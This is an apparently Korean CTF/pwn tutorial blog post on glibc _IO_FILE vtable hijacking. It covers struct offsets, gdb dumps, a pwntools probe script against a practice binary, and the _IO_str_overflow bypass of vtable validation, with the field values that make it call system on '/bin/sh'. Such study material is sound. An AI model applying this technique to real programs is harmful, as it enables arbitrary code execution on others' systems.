그냥 대충 훑어보면 절대 이해 못한다. 자세히 읽어보고 이해가 되면 넘어가자.
원리
_IO_FILE 구조체에서는 vtable을 참조하는데, vtable 내 함수를 조작할 수 있다면 임의의 함수를 실행할 수 있다.
*libc 2.23 버전 이하와 2.24 버전 이상에서의 공격 방식이 조금 다르다.
*2.29 이상에서는 완전히 패치 되었다.
취약점
앞서 본 _IO_FILE 구조체는 사실 혼자 있는 것이 아닌 vtable 구조체와 함께 한다.
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
즉, _IO_FILE_plus 구조체 내에 file, 즉 _IO_FILE 구조체와 vtable 구조체가 존재한다.
_IO_jump_t
_IO_jump_t의 기본 구조는 아래와 같다.
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish); // fclose()
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn); // fwrite()
JUMP_FIELD(_IO_xsgetn_t, __xsgetn); // fread()
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
특별히 유의해서 봐야하는 부분은, fclose 호출 시 _IO_finish_t와 같이 3번째 값을, fwrite와 fread 또한 xsputn_t, xsgetn_t 위치의 값을 참조한다.
즉, 코드의 흐름을 보고 참조할 위치를 선택해서 값을 삽입해야 한다.
_IO_str_jumps
vtable 구조체 중 하나인 _OP_str_jumps를 보면 보면 아래와 같다.
// libio/strops.c
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
gdb로 다시 보면 아래와 같은 구조를 가지고 있다.
gef➤ p _IO_str_jumps
$10 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7e5a980 <_IO_str_finish>,
__overflow = 0x7ffff7e5a600 <__GI__IO_str_overflow>,
__underflow = 0x7ffff7e5a5a0 <__GI__IO_str_underflow>,
__uflow = 0x7ffff7e58f10 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7e5a960 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ffff7e58f70 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ffff7e590f0 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ffff7e5aac0 <__GI__IO_str_seekoff>,
__seekpos = 0x7ffff7e592a0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e591a0 <_IO_default_setbuf>,
__sync = 0x7ffff7e59570 <_IO_default_sync>,
__doallocate = 0x7ffff7e59310 <__GI__IO_default_doallocate>,
__read = 0x7ffff7e5a440 <_IO_default_read>,
__write = 0x7ffff7e5a450 <_IO_default_write>,
__seek = 0x7ffff7e5a420 <_IO_default_seek>,
__close = 0x7ffff7e59570 <_IO_default_sync>,
__stat = 0x7ffff7e5a430 <_IO_default_stat>,
__showmanyc = 0x7ffff7e5a460 <_IO_default_showmanyc>,
__imbue = 0x7ffff7e5a470 <_IO_default_imbue>
}
특히 _IO_str_jumps vtable안에는 _IO_str_overflow라는 함수가 있다.
아래에서 다시 설명 하겠지만 이는 1개의 인자를 가진 함수이며, 조작할 수 있는 경우 셀을 실행시킬 수 있다.
만일 3개의 인자를 가지고 있는 함수가 있다면? read나 write 함수로 memory leak이나 값의 변조도 가능할 것이다.
뭐 없다고 해도 gadget과 더불어 레지스터에 값을 넣어버리면 되겠지만.
vtable까지의 offset
gdb로 IO_FILE 구조체의 값을 보면 아래와 같고, 일부 값들은 8 byte가 아닌 것을 볼 수 있다.
gef➤ p *_IO_list_all
$7 = {
file = {
_flags = 0xfbad2086,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fa66c0 <_IO_2_1_stdout_>,
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7fa8660 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7fa57a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7fa74a0 <_IO_file_jumps>
}
gef➤ p &_IO_list_all
$8 = (struct _IO_FILE_plus **) 0x7ffff7fa65c0 <_IO_list_all>
gef➤ x/40gx 0x7ffff7fa65c0
0x7ffff7fa65c0 <_IO_list_all>: 0x00007ffff7fa65e0 0x0000000000000000
0x7ffff7fa65d0: 0x0000000000000000 0x0000000000000000
0x7ffff7fa65e0 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000
0x7ffff7fa65f0 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7fa6600 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7fa6610 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7fa6620 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7fa6630 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7fa6640 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007ffff7fa66c0
0x7ffff7fa6650 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
0x7ffff7fa6660 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007ffff7fa8660
0x7ffff7fa6670 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7fa6680 <_IO_2_1_stderr_+160>: 0x00007ffff7fa57a0 0x0000000000000000
0x7ffff7fa6690 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7fa66a0 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7fa66b0 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7fa74a0
즉, 전체 구조가 아래와 같다. (별도 크기 표기 없는 경우 8 byte)
flags | read ptr |
read end | read base |
write base | write ptr |
write end | buf base |
buf end | save base |
backup base | save end |
markers | chain |
fileno 4 byte & flags2 4 byte | old offset |
cur column 2 byte & vtable offset 1 byte & shortbuf 1 byte | lock |
offset | codecvt |
wide data | freeres list |
freeres buf | pad5 |
mode 4byte & unused2 4byte | unused2 |
unused2 | vtable |
즉, 데이터를 삽입해야하는 lock 변수 이후 8 byte * 9 이후에 vtable 값이 들어감을 알 수 있다.
아래는 참고용으로 직접 값을 넣어 확인해본 결과이다.
from pwn import *
p = process('./bypass_valid_vtable')
gdb.attach(p)
pause()
pay = b''
pay += b'A'*(8*14)
pay += b'12345678'
pay += b'1'*8
pay += b'12345678'
pay += b'2'*8
pay += b'3'*8
pay += b'4'*8
pay += b'5'*8
pay += b'6'*8
pay += b'7'*8
pay += b'12345678'
pay += b'12345678'
pay += b'8'*8
pay += b'9'*8
pay += p64(0xdeadbeef)
p.sendlineafter('Data: ',pay)
gef➤ p &_IO_list_all
$3 = (struct _IO_FILE_plus **) 0x7f83634b95c0 <_IO_list_all>
gef➤ x/g 0x7f83634b95c0
0x7f83634b95c0 <_IO_list_all>: 0x18182a0
gef➤ x/40gx 0x18182a0
0x18182a0: 0x4141414141414141 0x4141414141414141
0x18182b0: 0x4141414141414141 0x4141414141414141
0x18182c0: 0x4141414141414141 0x4141414141414141
0x18182d0: 0x4141414141414141 0x4141414141414141
0x18182e0: 0x4141414141414141 0x4141414141414141
0x18182f0: 0x4141414141414141 0x4141414141414141
0x1818300: 0x4141414141414141 0x4141414141414141
0x1818310: 0x3837363534333231 0x3131313131313131
0x1818320: 0x3837363534333231 0x3232323232323232
0x1818330: 0x3333333333333333 0x3434343434343434
0x1818340: 0x3535353535353535 0x3636363636363636
0x1818350: 0x3737373737373737 0x3837363534333231
0x1818360: 0x3837363534333231 0x3838383838383838
0x1818370: 0x3939393939393939 0x00000000deadbeef
gef➤ p *_IO_list_all
$2 = {
file = {
_flags = 0x41414141,
_IO_read_ptr = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_IO_read_end = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_IO_read_base = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_IO_write_base = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_IO_write_ptr = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_IO_write_end = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_IO_buf_base = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_IO_buf_end = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_IO_save_base = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_IO_backup_base = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_IO_save_end = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
_markers = 0x4141414141414141,
_chain = 0x4141414141414141,
_fileno = 0x34333231,
_flags2 = 0x38373635,
_old_offset = 0x3131313131313131,
_cur_column = 0x3231,
_vtable_offset = 0x33,
_shortbuf = "4",
_lock = 0x3232323232323232,
_offset = 0x3333333333333333,
_codecvt = 0x3434343434343434,
_wide_data = 0x3535353535353535,
_freeres_list = 0x3636363636363636,
_freeres_buf = 0x3737373737373737,
__pad5 = 0x3837363534333231,
_mode = 0x34333231,
_unused2 = "56788888888899999999"
},
vtable = 0xdeadbeef
}
libc 2.23 이하에서의 exploit
fp 값 변조 후 fclose로 프로그램이 흘러간다고 가정했을때 fclose 시 vtable + 0x10 byte의 주소에 가지고 있는 값을 참조로 call 하게 된다.
(위에서 이야기한 것과 같이 당연하게도 fwrite 시에는 + 0x38, fread 시에는 + 0x40 주소의 값을 call 한다.)
그러므로 vtable에는 call 할 함수 주소를 가지고 있는 주소 - 0x10 byte의 값을 삽입하면 된다.
더불어 call 할 함수 주소를 삽입해야하는데, vtable + 8 byte 위치를 참조한다.
즉, _IO_FILE 시작점부터 vtable __dummy 까지의 offset을 알아야하는데 이는 위에서 본 것과 같이 28 * 8 byte, 0xe0이 된다.
libc 2.24 이상에서의 exploit
기본적인 공격 구조는 동일하지만, 해당 버전 이상에서는 _IO_validate_vtable() 함수로 vtable 주소가 _libc_IO_vtable 영역에 존재하는지 검사하기에 직접적으로 다른 임의 주소를 참조로 call할 수 없게 된다.
그렇기에 _libc_IO_vtable 영역에 존재하는 함수로 우회하여야하는데,
_IO_str_jumps 구조체 내의
_IO_str_overflow()
_IO_str_finish()
_IO_wstr_jumps 구조체 내의
_IO_wstr_overflow()
_IO_wstr_finish()
를 많이 사용한다.
_IO_str_overflow 함수로의 우회
대표로 하나만 이해하고 넘어가자.
우선 _libc_IO_vtable 영역의 함수를 호출해야하므로 vtable에 _IO_str_overflow() - 0x10 주소를 써 넣는다.
여기서 주요 사항은 vtable 위치에 삽입할 값은 _IO_str_overflow 주소가 아니라 해당 주소를 담고 있는 주소이며, _IO_file_jumps + 0xd8 위치에 +IO_str_overflow의 주소를 담고 있으니 유의 및 참고하자.
호출해야하는 _IO_str_overflow 함수의 구조는 아래와 같고, 중간 즈음에 new_size를 인자로 _s._allocate_buffer 함수를 실행한다.
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
그러므로 이를 활용하여 _s._allocate_buffer를 system 함수의 주소로, new_size를 /bin/sh의 문자열 주소로 만들어 셀을 실행시킬 수 있다.
다만, 해당 함수까지 가기 전에 많은 조건문을 가지고 있으며, 이를 통과해야한다.
_s._allocate_buffer
해당 값은 vtable 주소 + 8 byte의 위치를 참조하기에 페이로드 전달 시 vtable 주소 뒤에 써주면 된다.
new_size
new_size 변수는 아래와 같이 계산되기에 이를 고려해 new_size 변수의 값을 /bin/sh 문자열 주소로 설정할 수 있다.
_IO_size_t new_size = 2 * old_blen + 100;
old_blen의 값은 _IO_buf_end - _IO_buf_base 이다.
_flags
flag bit 설정 시 아래 권한은 부여되지 않아야 한다.
_IO_NO_WRITES
_IO_USER_BUF
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
아래 값이 참이 되어야한다.
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
pos 값은 _IO_write_ptr - _IO_write_base 이고,
_IO_blen의 값은 _IO_buf_end - _IO_buf_base 이며,
flush_only 값은 0 or 1이다.
그러므로 _IO_write_ptr - _IO_write_base >= _IO_buf_end - _IO_buf_base + 1 이어야 한다.
_lock
_IO_FILE 구조체에서 해당 변수는 멀티스레딩 환경에서 파일을 읽고 쓸때 race condition을 막기 위해 사용되는 변수(라 카더라)로 무조건 쓰기 권한이 있는 영역의 주소를 넣어야 한다.
writable area면 어디든 상관 없지만, 전역 변수 & bss 영역을 써보자.
다만 한번에 성공하지 못하는 경우가 종종 있으니 offset을 바꿔가며 시도 해보자.
요약
해당 조건을 요약하면 아래와 같다.
fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2
fp->_IO_write_ptr = 0xffffffff
fp->_IO_write_base = 0
fp->_mode = 0
기타 함수로의 우회
위에서 이야기했듯이 _IO_str_overflow 함수 이외의 함수도 사용 가능하다.
그럴 일은 거의 없어 보이지만, 다른 함수로 우회해야하는 상황이 올 수 있다.
이 경우 해당 함수의 코드를 보고, 조건을 만족시키고 동일하게 시도하면 된다.
_IO_str_finish
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
_IO_wstr_jump 구조체
// libio/wstrops.c
const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
_IO_wstr_overflow
_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
int flush_only = c == WEOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : WEOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
}
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only))
{
if (fp->_flags2 & _IO_FLAGS2_USER_WBUF)
return WEOF;
else
{
wchar_t *new_buf;
wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
size_t old_wblen = _IO_wblen (fp);
_IO_size_t new_size = 2 * old_wblen + 100;
if (__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
return EOF;
new_buf
= (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size
* sizeof (wchar_t));
[...]
_IO_wstr_finish
void
_IO_wstr_finish (_IO_FILE *fp, int dummy)
{
if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;
_IO_wdefault_finish (fp, 0);
}
참고 사항
위에서 _IO_str_overflow의 주소를 값으로하는 주소는 _IO_file_jumps _ 0xd8 위치에 있다고 했다.
도대체 _IO_file_jumps는 뭐길래 그렇게 계산할 수 있을까?
_IO_file_jumps를 gdb로 보면 동일하게 vtable의 구조를 가지고 있음을 알 수 있다.
gef➤ p _IO_file_jumps
$11 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7e57440 <_IO_new_file_finish>,
__overflow = 0x7ffff7e57ea0 <_IO_new_file_overflow>,
__underflow = 0x7ffff7e57b50 <_IO_new_file_underflow>,
__uflow = 0x7ffff7e58f10 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7e5a2d0 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7e57030 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7e56c10 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7e56470 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7e592a0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e55d30 <_IO_new_file_setbuf>,
__sync = 0x7ffff7e55bc0 <_IO_new_file_sync>,
__doallocate = 0x7ffff7e4a8d0 <__GI__IO_file_doallocate>,
__read = 0x7ffff7e57210 <__GI__IO_file_read>,
__write = 0x7ffff7e56a70 <_IO_new_file_write>,
__seek = 0x7ffff7e561a0 <__GI__IO_file_seek>,
__close = 0x7ffff7e55d20 <__GI__IO_file_close>,
__stat = 0x7ffff7e56a60 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7e5a460 <_IO_default_showmanyc>,
__imbue = 0x7ffff7e5a470 <_IO_default_imbue>
}
_IO_file_jumps 이후 값들을 출력해봤더니 _IO_str_jumps 구조체가 위치해있음을 알 수 있었다.
gef➤ x/40gx 0x7ffff7fa74a0
0x7ffff7fa74a0 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7fa74b0 <_IO_file_jumps+16>: 0x00007ffff7e57440 0x00007ffff7e57ea0
0x7ffff7fa74c0 <_IO_file_jumps+32>: 0x00007ffff7e57b50 0x00007ffff7e58f10
0x7ffff7fa74d0 <_IO_file_jumps+48>: 0x00007ffff7e5a2d0 0x00007ffff7e57030
0x7ffff7fa74e0 <_IO_file_jumps+64>: 0x00007ffff7e56c10 0x00007ffff7e56470
0x7ffff7fa74f0 <_IO_file_jumps+80>: 0x00007ffff7e592a0 0x00007ffff7e55d30
0x7ffff7fa7500 <_IO_file_jumps+96>: 0x00007ffff7e55bc0 0x00007ffff7e4a8d0
0x7ffff7fa7510 <_IO_file_jumps+112>: 0x00007ffff7e57210 0x00007ffff7e56a70
0x7ffff7fa7520 <_IO_file_jumps+128>: 0x00007ffff7e561a0 0x00007ffff7e55d20
0x7ffff7fa7530 <_IO_file_jumps+144>: 0x00007ffff7e56a60 0x00007ffff7e5a460
0x7ffff7fa7540 <_IO_file_jumps+160>: 0x00007ffff7e5a470 0x0000000000000000
0x7ffff7fa7550: 0x0000000000000000 0x0000000000000000
0x7ffff7fa7560 <_IO_str_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7fa7570 <_IO_str_jumps+16>: 0x00007ffff7e5a980 0x00007ffff7e5a600
0x7ffff7fa7580 <_IO_str_jumps+32>: 0x00007ffff7e5a5a0 0x00007ffff7e58f10
0x7ffff7fa7590 <_IO_str_jumps+48>: 0x00007ffff7e5a960 0x00007ffff7e58f70
0x7ffff7fa75a0 <_IO_str_jumps+64>: 0x00007ffff7e590f0 0x00007ffff7e5aac0
0x7ffff7fa75b0 <_IO_str_jumps+80>: 0x00007ffff7e592a0 0x00007ffff7e591a0
0x7ffff7fa75c0 <_IO_str_jumps+96>: 0x00007ffff7e59570 0x00007ffff7e59310
0x7ffff7fa75d0 <_IO_str_jumps+112>: 0x00007ffff7e5a440 0x00007ffff7e5a450
0x7ffff7fa75e0 <_IO_str_jumps+128>: 0x00007ffff7e5a420 0x00007ffff7e59570
0x7ffff7fa75f0 <_IO_str_jumps+144>: 0x00007ffff7e5a430 0x00007ffff7e5a460
0x7ffff7fa7600 <_IO_str_jumps+160>: 0x00007ffff7e5a470 0x00007ffff7e59a70
...
어차피 구조체이기에 offset이 고정된 값일테니 항상 참조할 수 있겠다.
'Tips & theory' 카테고리의 다른 글
_IO_FILE_plus의 모든 것. (0) | 2022.08.21 |
---|---|
FSOP - _IO_flush_all_lockp () (0) | 2022.08.18 |
_IO_FILE Arbitrary Address Write (0) | 2022.08.16 |
_IO_FILE Arbitrary Address Read (0) | 2022.08.16 |
SROP (0) | 2022.08.15 |